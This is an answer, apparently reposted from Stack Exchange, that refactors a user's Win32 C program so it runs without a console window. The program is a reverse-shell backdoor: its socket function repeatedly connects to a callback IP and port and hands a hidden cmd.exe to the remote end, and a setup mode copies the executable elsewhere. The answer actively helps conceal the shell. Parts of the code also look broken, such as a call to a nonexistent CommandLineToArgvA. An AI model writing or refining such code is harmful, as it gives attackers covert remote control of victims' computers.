Win32 GUI程序需从main入口启动以兼容双运行模式的问题咨询
Got it, let's fix this issue. The core problem here is that when you compile as a Win32 GUI app, Windows automatically uses WinMain as the entry point—so your main function (with all the setup logic) never gets called. We need to adjust the code so the GUI app can detect which mode it's running in, and behave accordingly: either spin up a console for setup, or run the socket logic silently without a window.
Here's a step-by-step solution with modified code:
First, Refactor Your Setup Logic
Pull the setup code out into its own function so we can call it from either entry point without duplicating code. This makes the code cleaner and easier to maintain:
#include <windows.h> #include <stdio.h> #include <string.h> #include <dirent.h> #include <winsock2.h> #include <ws2tcpip.h> #include <process.h> #pragma comment(lib, "ws2_32.lib") // Declare functions upfront void RunSetup(int argc, char* argv[]); void CopyNewFile(char* dir, char* fname, char* curName); void CheckDirectory(char* d); void RunSocket(char* a, char* b); // Global variable for secs (used in original setup code) int secs; void RunSetup(int argc, char* argv[]) { char filePath[150]; char fileName[30]; int portNum; char ip[16]; printf("Doing Setup Stuff\n"); printf("Desired File Location. Example: C:\\Test\n"); scanf("%149s", filePath); CheckDirectory(filePath); printf("\nDesired file name. Example: test.exe\n"); scanf("%29s", fileName); getchar(); // Clear leftover newline from scanf CopyNewFile(filePath, fileName, argv[0]); printf("\nEnter callback IP:\n"); scanf("%15s", ip); printf("\nEnter callback port:\n"); scanf("%5d", &portNum); printf("Enter time in seconds for each callback: "); scanf("%10d", &secs); }
Modify WinMain to Handle Both Modes
Instead of relying on main, we'll use WinMain (the default entry for GUI apps) to parse the full command line, then switch behavior based on the arguments:
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) { // Convert Windows command line to standard argc/argv format int argc; char** argv = CommandLineToArgvA(GetCommandLineA(), &argc); if (argc == 1) { // No arguments? Show usage in a console AllocConsole(); freopen("CONOUT$", "w", stdout); // Redirect stdout to console printf("Usage: File.exe setup OR File.exe -socket IP:PORT\n"); printf("Press any key to exit..."); getchar(); FreeConsole(); LocalFree(argv); return 0; } else if (strcmp(argv[1], "setup") == 0) { // Setup mode: create a console for user interaction AllocConsole(); // Redirect stdin, stdout, stderr to the new console freopen("CONIN$", "r", stdin); freopen("CONOUT$", "w", stdout); freopen("CONOUT$", "w", stderr); // Run the setup logic RunSetup(argc, argv); // Let user review results before closing printf("\nSetup complete. Press any key to exit..."); getchar(); FreeConsole(); } else if (strcmp(argv[1], "-socket") == 0 && argc >= 3) { // Socket mode: run silently without a window char socket[23]; strncpy(socket, argv[2], 22); socket[22] = '\0'; // Ensure string is null-terminated char test[50]; strncpy(test, socket, 49); test[49] = '\0'; char* ip = strtok(test, ":"); char* port = strtok(NULL, ":"); if (ip && port) { RunSocket(ip, port); } else { // Show error if socket format is invalid MessageBoxA(NULL, "Invalid socket format. Use IP:PORT (e.g., 192.168.1.1:9000)", "Error", MB_OK | MB_ICONERROR); } } else { // Invalid arguments: show usage AllocConsole(); freopen("CONOUT$", "w", stdout); printf("Invalid command! Usage: File.exe setup OR File.exe -socket IP:PORT\n"); printf("Press any key to exit..."); getchar(); FreeConsole(); } LocalFree(argv); return 0; }
Keep Your Existing Helper Functions
You can reuse your original CopyNewFile, CheckDirectory, and RunSocket functions—we've already added upfront declarations so they work with the refactored code:
void CopyNewFile(char* dir, char* fname, char* curName) { char fullDir[300]; char file[60]; sprintf(file,"%s", curName); sprintf(fullDir, "%s\\%s", dir, fname); if (CopyFile(file, fullDir, FALSE)) { printf("\nCopied new file!\n"); } else { printf("Did not copy!"); } } void CheckDirectory(char* d) { DIR* dir = opendir(d); char answer[2]; if (dir) { printf("Directory Exists!\n"); closedir(dir); } else if (ENOENT == errno) { printf("Directory does not exist. Do you want to create this directory? Y/N: "); scanf("%s", answer); if (strcmp(answer, "y") == 0 || strcmp(answer, "Y") == 0) { if (CreateDirectory(d, NULL)) { printf("Created Directory!\n"); } else { printf("Error Creating Directory!"); exit(1); } } else { printf("Closing Script!"); exit(1); } } } void RunSocket(char* a, char* b) { while(1) { WSADATA wsaData; SOCKET Winsock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); struct hostent *host; host = gethostbyname(a); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(b)); hax.sin_addr.s_addr =inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL); memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); ini_processo.dwFlags=STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info); Sleep(15000); } }
Key Notes About This Solution
AllocConsole(): Creates a console window for the setup mode, since GUI apps don't have one by default. Without this,printfandscanfwould fail silently.freopen: Redirects standard input/output/error to the new console, so your existing setup code works exactly like it did in the console app.CommandLineToArgvA: Converts Windows' single-string command line into the familiarargc/argvformat, making it easy to parse arguments just like inmain.- Socket Mode: Runs completely without a window, just like you wanted—no
cmd.exeflash because we're using a GUI app entry point andCREATE_NO_WINDOWinCreateProcess.
This approach lets you compile as a single Win32 GUI executable that supports both modes perfectly.
内容的提问来源于stack exchange,提问作者Brian Jarcus

